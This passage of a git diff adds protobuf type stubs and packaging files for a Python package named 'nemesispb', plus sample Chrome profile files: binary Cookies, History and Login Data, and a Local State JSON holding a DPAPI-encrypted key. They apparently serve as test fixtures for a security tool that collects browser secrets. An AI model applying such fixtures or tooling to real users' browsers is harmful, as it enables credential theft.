+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Process]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___Process] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___ProcessMessage = ProcessMessage
+
+@typing_extensions.final
+class NetworkAddressIngestion(google.protobuf.message.Message):
+ """///////////////////////////////////////////////////
+
+ Not yet used
+
+ ///////////////////////////////////////////////////
+
+ Addresses that may be used to refer to the host the agent is running on or a
+ network resource on the host. Addresses are expected to conform to the public
+ standard for the address type but there is no verification of this. As an
+ example, ethernet addresses are expected to use a hyphen as a separator
+ instead of a colon as per IEEE 802.3 but this is not verified.
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ADDRESS_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ NIC_FIELD_NUMBER: builtins.int
+ address: builtins.str
+ """Case sensitive address"""
+ type: builtins.str
+ """Case insensitive name for the address type
+ TODO: Make into an enum: ipv4, ipv6, mac, host, netbios, spn, ethernet
+ """
+ nic: builtins.str
+ """Name or id for a network interface card"""
+ def __init__(
+ self,
+ *,
+ address: builtins.str = ...,
+ type: builtins.str = ...,
+ nic: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["address", b"address", "nic", b"nic", "type", b"type"]) -> None: ...
+
+global___NetworkAddressIngestion = NetworkAddressIngestion
+
+@typing_extensions.final
+class NetworkAddressIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___NetworkAddressIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___NetworkAddressIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___NetworkAddressIngestionMessage = NetworkAddressIngestionMessage
+
+@typing_extensions.final
+class RouteDataIngestion(google.protobuf.message.Message):
+ """Network routing rules for the host the agent is running on. The network mask
+ must be specified separately from the destination address. Addresses and
+ network masks are also expected to conform to the public standard for the
+ address type but there is no verification of this.
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ DESTINATION_FIELD_NUMBER: builtins.int
+ GATEWAY_FIELD_NUMBER: builtins.int
+ MASK_FIELD_NUMBER: builtins.int
+ NIC_FIELD_NUMBER: builtins.int
+ PROTOCOL_FIELD_NUMBER: builtins.int
+ destination: builtins.str
+ """Case sensitive address"""
+ gateway: builtins.str
+ """Address of the routing host"""
+ mask: builtins.str
+ """Network mask for the destination address"""
+ nic: builtins.str
+ """Name or id for a network interface card"""
+ protocol: builtins.str
+ """Protocol of the route rule"""
+ def __init__(
+ self,
+ *,
+ destination: builtins.str = ...,
+ gateway: builtins.str = ...,
+ mask: builtins.str = ...,
+ nic: builtins.str = ...,
+ protocol: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["destination", b"destination", "gateway", b"gateway", "mask", b"mask", "nic", b"nic", "protocol", b"protocol"]) -> None: ...
+
+global___RouteDataIngestion = RouteDataIngestion
+
+@typing_extensions.final
+class RouteDataIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___RouteDataIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___RouteDataIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___RouteDataIngestionMessage = RouteDataIngestionMessage
+
+@typing_extensions.final
+class UserTime(google.protobuf.message.Message):
+ """Current time information about the host the agent is running on. The
+ subparameters of the Users list must delimited by spaces in CSV submissions.
+ Note that all date time parameters are expected to be in UTC from the Unix
+ epoch regardless of what time zone the host uses.
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USER_FIELD_NUMBER: builtins.int
+ SESSION_FIELD_NUMBER: builtins.int
+ TIME_FIELD_NUMBER: builtins.int
+ user: builtins.str
+ session: builtins.int
+ time: builtins.int
+ def __init__(
+ self,
+ *,
+ user: builtins.str = ...,
+ session: builtins.int = ...,
+ time: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["session", b"session", "time", b"time", "user", b"user"]) -> None: ...
+
+global___UserTime = UserTime
+
+@typing_extensions.final
+class TimeDataIngestion(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ CURRENT_FIELD_NUMBER: builtins.int
+ RUNTIME_FIELD_NUMBER: builtins.int
+ USERS_FIELD_NUMBER: builtins.int
+ ZONE_FIELD_NUMBER: builtins.int
+ @property
+ def current(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """Current time for the host"""
+ runtime: builtins.int
+ """How long the host has been running in seconds"""
+ @property
+ def users(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___UserTime]:
+ """List of users, their session, and their time logged on"""
+ zone: builtins.str
+ """The time zone that the host uses"""
+ def __init__(
+ self,
+ *,
+ current: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ runtime: builtins.int = ...,
+ users: collections.abc.Iterable[global___UserTime] | None = ...,
+ zone: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["current", b"current"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["current", b"current", "runtime", b"runtime", "users", b"users", "zone", b"zone"]) -> None: ...
+
+global___TimeDataIngestion = TimeDataIngestion
+
+@typing_extensions.final
+class TimeDataIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___TimeDataIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___TimeDataIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___TimeDataIngestionMessage = TimeDataIngestionMessage
diff --git a/packages/python/nemesispb/poetry.lock b/packages/python/nemesispb/poetry.lock
new file mode 100644
index 0000000..d5e8dd6
--- /dev/null
+++ b/packages/python/nemesispb/poetry.lock
@@ -0,0 +1,58 @@
+# This file is automatically @generated by Poetry and should not be changed by hand.
+
+[[package]]
+name = "mypy-protobuf"
+version = "3.4.0"
+description = "Generate mypy stub files from protobuf specs"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"},
+ {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"},
+]
+
+[package.dependencies]
+protobuf = ">=4.21.8"
+types-protobuf = ">=3.20.4"
+
+[[package]]
+name = "protobuf"
+version = "4.21.12"
+description = ""
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "protobuf-4.21.12-cp310-abi3-win32.whl", hash = "sha256:b135410244ebe777db80298297a97fbb4c862c881b4403b71bac9d4107d61fd1"},
+ {file = "protobuf-4.21.12-cp310-abi3-win_amd64.whl", hash = "sha256:89f9149e4a0169cddfc44c74f230d7743002e3aa0b9472d8c28f0388102fc4c2"},
+ {file = "protobuf-4.21.12-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:299ea899484ee6f44604deb71f424234f654606b983cb496ea2a53e3c63ab791"},
+ {file = "protobuf-4.21.12-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:d1736130bce8cf131ac7957fa26880ca19227d4ad68b4888b3be0dea1f95df97"},
+ {file = "protobuf-4.21.12-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:78a28c9fa223998472886c77042e9b9afb6fe4242bd2a2a5aced88e3f4422aa7"},
+ {file = "protobuf-4.21.12-cp37-cp37m-win32.whl", hash = "sha256:3d164928ff0727d97022957c2b849250ca0e64777ee31efd7d6de2e07c494717"},
+ {file = "protobuf-4.21.12-cp37-cp37m-win_amd64.whl", hash = "sha256:f45460f9ee70a0ec1b6694c6e4e348ad2019275680bd68a1d9314b8c7e01e574"},
+ {file = "protobuf-4.21.12-cp38-cp38-win32.whl", hash = "sha256:6ab80df09e3208f742c98443b6166bcb70d65f52cfeb67357d52032ea1ae9bec"},
+ {file = "protobuf-4.21.12-cp38-cp38-win_amd64.whl", hash = "sha256:1f22ac0ca65bb70a876060d96d914dae09ac98d114294f77584b0d2644fa9c30"},
+ {file = "protobuf-4.21.12-cp39-cp39-win32.whl", hash = "sha256:27f4d15021da6d2b706ddc3860fac0a5ddaba34ab679dc182b60a8bb4e1121cc"},
+ {file = "protobuf-4.21.12-cp39-cp39-win_amd64.whl", hash = "sha256:237216c3326d46808a9f7c26fd1bd4b20015fb6867dc5d263a493ef9a539293b"},
+ {file = "protobuf-4.21.12-py2.py3-none-any.whl", hash = "sha256:a53fd3f03e578553623272dc46ac2f189de23862e68565e83dde203d41b76fc5"},
+ {file = "protobuf-4.21.12-py3-none-any.whl", hash = "sha256:b98d0148f84e3a3c569e19f52103ca1feacdac0d2df8d6533cf983d1fda28462"},
+ {file = "protobuf-4.21.12.tar.gz", hash = "sha256:7cd532c4566d0e6feafecc1059d04c7915aec8e182d1cf7adee8b24ef1e2e6ab"},
+]
+
+[[package]]
+name = "types-protobuf"
+version = "4.21.0.3"
+description = "Typing stubs for protobuf"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "types-protobuf-4.21.0.3.tar.gz", hash = "sha256:824109e0fe87525a9d2da4cc4eec36ca004f1a0f3d1c0838cfd2873a484cffdd"},
+ {file = "types_protobuf-4.21.0.3-py3-none-any.whl", hash = "sha256:6c87c7f8df61d57a53de8221777e4fcc3c7ed24419fbf43b8e9f50887f3773fa"},
+]
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.9"
+content-hash = "601e4b23494dcbaa0705d02d7cbaf0ffb9809b7ea0566772fa086fffd6d67208"
diff --git a/packages/python/nemesispb/pyproject.toml b/packages/python/nemesispb/pyproject.toml
new file mode 100644
index 0000000..5f06bae
--- /dev/null
+++ b/packages/python/nemesispb/pyproject.toml
@@ -0,0 +1,19 @@
+[tool.poetry]
+name = "nemesispb"
+version = "0.1.0"
+description = "Nemesis python protobuf"
+authors = ["SpecterOps "]
+
+[tool.poetry.dependencies]
+python = "^3.9"
+protobuf = "^4.21.5"
+mypy-protobuf = "^3.4.0"
+
+[tool.poetry.dev-dependencies]
+
+[tool.poetry.group.dev.dependencies]
+mypy-protobuf = "^3.4.0"
+
+[build-system]
+requires = ["poetry-core>=1.0.0"]
+build-backend = "poetry.core.masonry.api"
diff --git a/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Cookies b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Cookies
new file mode 100644
index 0000000..75860d8
Binary files /dev/null and b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Cookies differ
diff --git a/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/History b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/History
new file mode 100644
index 0000000..364a549
Binary files /dev/null and b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/History differ
diff --git a/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Login Data b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Login Data
new file mode 100644
index 0000000..6b95f7c
Binary files /dev/null and b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Default/Login Data differ
diff --git a/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Local State b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Local State
new file mode 100644
index 0000000..f85a384
--- /dev/null
+++ b/sample_files/C/Users/DPAPIUser/AppData/Local/Google/Chrome/User Data/Local State
@@ -0,0 +1 @@
+{"browser":{"last_whats_new_version":111,"shortcut_migration_version":"111.0.5563.147"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.682360456417751e+12,"network":1.682360456e+12,"ticks":40407932879.0,"uncertainty":1779668.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA+xZ9ELLickar8CmfElOt+wAAAAACAAAAAAAQZgAAAAEAACAAAAAmycokS5nRxdM3kgPOfqo5kXYalZKcaYS68qDgK85NLQAAAAAOgAAAAAIAACAAAAChUvSCW4xWM0WYKnKUfxZkNWjk7jIQZTNwwWqz+Vc/4xABAACSrpIa4qtdF/JBkuPSgZaGRANJEflhNB/aqXRdiPXq8LHL3eZ7NIhn2vElc44/0hIbne/bfSDKELqq3vxFNTNrMD1XWpadfFo7fSXXS8CgjjZzTqFt1JITxJ1nJY3QmHiEaWCjb5vqtduNjEaaqi8IxNwoxaC9cwlIW/hbbd2W7YLutT9JoAm/v98n+oyGTg9aSTkHeKyRlBEgKwAYBKHMXuPZnKMcXXxiksqzTMbJy0ztLHR+ksrbEOovRsePLAlEg/75agJ1bhyRp6rRrwphWYOAYHzYa6LCqB/5FK/9SbCV01YWcuo8+ajCgCGG94GqZ41e0tbB18N5jL9xSCLJV2dugGwZUq8P2eccVVsm20AAAACJHezojBFN6PdZuNIx24RV3dnBk9L0IQ3FhTmLf2GLUANrMLmd0Ru9YKAGQvtXXwM+L4Di87zqRjKHV8uxqLzc","encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABggpmrnelxSI9L2SKyhIzmAAAAAAIAAAAAAANmAADAAAAAEAAAALGXebmjhAjFMxSXBiRdPCgAAAAABIAAAKAAAAAQAAAApQtkBNuoqu5tSBs9XyfJXygAAAAHIznP849HtrQwkKY1o4kXJSdooID3NGrmFlE5SyGpT5b4wg85bjKTFAAAAJsdnSsl9N9rQuZuv8zoDxWiHcTM"},"policy":{"last_statistics_update":"13326834055645500"},"profile":{"info_cache":{"Default":{"active_time":1682360456.041276,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_26","background_apps":false,"force_signin_profile_locked":false,"gaia_given_name":"","gaia_id":"","gaia_name":"","hosted_domain":"","is_consented_primary_account":false,"is_ephemeral":false,"is_using_default_avatar":true,"is_using_default_name":true,"managed_user_id":"","metrics_bucket_index":1,"name":"Person 1","shortcut_name":"Person 1","signin.with_credential_provider":false,"user_name":""}},"last_active_profiles":[],"metrics":{"next_bucket_index":2},"profile_counts_reported":"13326834055622031"},"profile_network_context_service":{"http_cache_finch_experiment_groups":"None None None None"},"session_id_generator_last_value":"1809058498","shutdown":{"num_processes":3,"num_processes_slow":1,"type":1},"subresource_filter":{"ruleset_version":{"checksum":613759234,"content":"9.44.0","format":35}},"tab_stats":{"discards_external":0,"discards_proactive":0,"discards_urgent":0,"last_daily_sample":"13326834056055511","max_tabs_per_window":1,"reloads_external":0,"reloads_proactive":0,"reloads_urgent":0,"total_tab_count_max":1,"window_count_max":1},"ukm":{"persisted_logs":[]},"uninstall_metrics":{"installation_date2":"1681858552"},"updateclientdata":{"apps":{"dhlpobdgcjafebgbbhjdnapejmpkgiie":{"cohort":"1:z9x:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"d0a84187-f0ee-42b8-bb23-0e880ba2b831"},"eeigpngbgcognadeebkilcpcaedhellh":{"cohort":"1:w59:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"44a78d38-9e88-4f6d-a07f-ce1f1e94a9dd"},"efniojlnjndmcbiieegkicadnoecjjef":{"cohort":"1:18ql:","cohortname":"Auto Stage3","dlrc":5957,"installdate":5957,"pf":"76aad475-2c7d-4d4f-b1ca-fee689df3fd6"},"ehgidpndbllacpjalkiimkbadgjfnnmc":{"cohort":"1:ofl:","cohortname":"stable64","dlrc":5957,"installdate":5957,"pf":"a57a961c-847f-4b59-b71c-4dc41375a139"},"gcmjkmgdlgnkkcocmoeiminaijmmjnii":{"cohort":"1:bm1:","cohortname":"M54AndUp","dlrc":5957,"fp":"1.e66ec4166eb005622f590068730a0b2f19e608035a4428adb50fb236f84ac358","installdate":5957,"pf":"4b998626-7e1d-4588-8aef-9fdbff6f00ef","pv":"9.44.0"},"ggkkehgbnfjpeggfpleeakpidbkibbmn":{"cohort":"1:ut9/1a0f:","cohortname":"108-and-above-all-users","dlrc":5957,"installdate":5957,"pf":"48c7060c-c26e-4935-8486-7b89489d9ebf"},"giekcmmlnklenlaomppkphknjmnnpneh":{"cohort":"1:j5l:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"260d9c86-7eb8-4552-aa92-18e9b96a88ef"},"gonpemdgkjcecdgbnaabipppbmgfggbe":{"cohort":"1:z1x:","cohortname":"General release","dlrc":5957,"installdate":5957,"pf":"ddf81b4b-cdce-4df8-a08a-56678b1c275c"},"hfnkpimlhhgieaddgfemjhofmfblmnib":{"cohort":"1:jcl:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"f0f47170-9c65-486b-ba02-e5fb3551d551"},"hnimpnehoodheedghdeeijklkeaacbdc":{"cohort":"1::","cohortname":"","dlrc":5957,"fp":"1.6f6bc93dcd62dc251850d2ff458fda96083ceb7fbe8eeb11248b8485ef2aea23","installdate":5957,"pf":"1d737fa3-8a7b-45d1-bfed-1bfb7caba9b1","pv":"0.57.44.2492"},"ihnlcenocehgdaegdmhbidjhnhdchfmm":{"cohort":"1:15j3:","cohortname":"Win (Including up-to-date)","dlrc":5957,"fp":"1.aeedb246d19256a956fedaa89fb62423ae5bd8855a2a1f3189161cf045645a19","installdate":5957,"pf":"5254d876-be90-40ec-9a51-5c6e0deacc99","pv":"1.3.36.141"},"imefjhfbkmcmebodilednhmaccmincoa":{"cohort":"1:1iaf:","cohortname":"windows_flatbuffers","dlrc":5957,"installdate":5957,"pf":"6e541b3d-cef3-4d1b-b1cf-3764f2a241ed"},"jamhcnnkihinmdlkakkaopbjbbcngflc":{"cohort":"1:wvr:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"1083d394-de36-4533-94a0-19a3572d6335"},"jflookgnkcckhobaglndicnbbgbonegd":{"cohort":"1:s7x:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"60d9d973-a32e-40ff-b35b-461906b8de55"},"khaoiebndkojlmppeemjhbpbandiljpe":{"cohort":"1:cux:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"d8d510ed-205c-4b7b-ad41-4794b4bbb42a"},"laoigpblnllgcgjnjnllmfolckpjlhki":{"cohort":"1:10zr:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"7a1ebf82-2f6e-444b-8a8c-eac432b52e06"},"llkgjffcdpffmhiakmfcdcblohccpfmo":{"cohort":"1::","cohortname":"","dlrc":5957,"installdate":5957,"pf":"4e4e7639-8d68-4fde-8132-ae4bca46efe1"},"lmelglejhemejginpboagddgdfbepgmp":{"cohort":"1:lwl:","cohortname":"Auto","dlrc":5957,"installdate":5957,"pf":"f80fd110-97a0-4d20-85a3-1478b2182d3f"},"obedbbhbpmojnkanicioggnmelmoomoc":{"cohort":"1:s6f:","cohortname":"Auto","dlrc":5957,"fp":"1.365a32b00923f8494e3c710f505983b29bd19721be363093e02d818c994259e3","installdate":5957,"pf":"67b1fb4d-a5e6-4fbe-8f0b-86b660ece09c","pv":"20230410.524655861.1"},"oimompecagnajdejgnnjijobebaeigek":{"cohort":"1:1bk9:","cohortname":"4.10.2557.0 for Chrome 95+","dlrc":5957,"installdate":5957,"pf":"d3375e32-e815-40d0-a250-759a551cdb48"},"ojhpjlocmbogdgmfpkhlaaeamibhnphh":{"cohort":"1:w0x:","cohortname":"All users","dlrc":5957,"installdate":5957,"pf":"cbac6067-1397-40fb-a3ea-5f400c52e061"}}},"user_experience_metrics":{"default_opt_in":2,"low_entropy_source3":591,"machine_id":5025582,"pseudo_low_entropy_source":4717,"session_id":1,"stability":{"browser_last_live_timestamp":"13326834085949992","exited_cleanly":true,"stats_buildtime":"1679687029","stats_version":"111.0.5563.147-64","system_crash_count":0}},"variations_compressed_seed":"safe_seed_content","variations_country":"us","variations_crash_streak":0,"variations_failed_to_fetch_seed_streak":0,"variations_last_fetch_time":"13326834056751624","variations_permanent_consistency_country":["111.0.5563.147","us"],"variations_safe_compressed_seed":"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